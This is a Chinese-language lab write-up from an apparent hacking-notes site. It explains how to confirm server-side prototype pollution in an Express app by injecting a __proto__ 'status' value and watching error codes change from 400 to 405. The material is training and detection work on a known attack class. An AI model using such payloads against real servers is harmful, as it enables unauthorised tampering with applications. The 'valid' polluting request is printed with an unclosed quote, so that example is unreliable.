> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).
# 无需反射已修改属性的检测
### 在不反射被污染属性的情况下检测服务端原型污染
**实验上下文**
本实验运行于 **Node.js** 替换为 **Express**。它存在一个 **服务器端原型污染** 因为 **merge（合并）应用不安全** 源自 JavaScript 服务端对象中的用户可控数据。
目标： **确认漏洞** 作为 `Object.prototype` 污染物 **可见但无破坏性**，只需通过服务器行为的变化（无需进一步利用）。
凭据： `wiener:peter`.
**应用发送的数据（地址）**
通过修改账单 / 收货地址，浏览器会发送类似的 JSON 到：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```
**生成一个可控错误以观察响应**
如果你强制触发 JSON 解析错误（例如删除一个引号），你会得到一个响应 **400** 并且服务器会返回一个错误对象，其中 `正文` 包含我们的载荷（反射）：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```
典型响应：
```json
{
"error": {
"expose": true,
"statusCode": 400,
"status": 400,
"body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
"type": "entity.parse.failed"
}
}
```
**思路：无需直接反射即可证明污染**
与其等待看到被污染的属性返回到正文，不如目标设定为一个 **可测量的行为变化**，例如错误期间返回的 \*\*HTTP 状态码\*\*。
这里，服务器使用（或传播）类似以下字段： `status` / `statusCode`。如果我们设法污染 `Object.prototype.status`，那么在未来的错误中，Express（或错误处理器）可以通过原型链恢复这个值 → 服务器将返回一个不同的 **status**.
**通过……进行污染尝试 `__proto__`**
一个 `__proto__` 键被注入到 JSON 中（在有效的 JSON 请求中，而不是损坏的请求中），例如：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
"__proto__": {
"status": 405
}
}
```
预期效果：在这种污染之后， **任何错误** （例如手动触发的 JSON 解析错误）现在可以返回 **405 而不是 400**，因为 `status` 继承自 `Object.prototype`.
**结果 / 验证**
* 污染前：错误 → `400`
* 污染后：错误 → `405` （或选择的其他代码）
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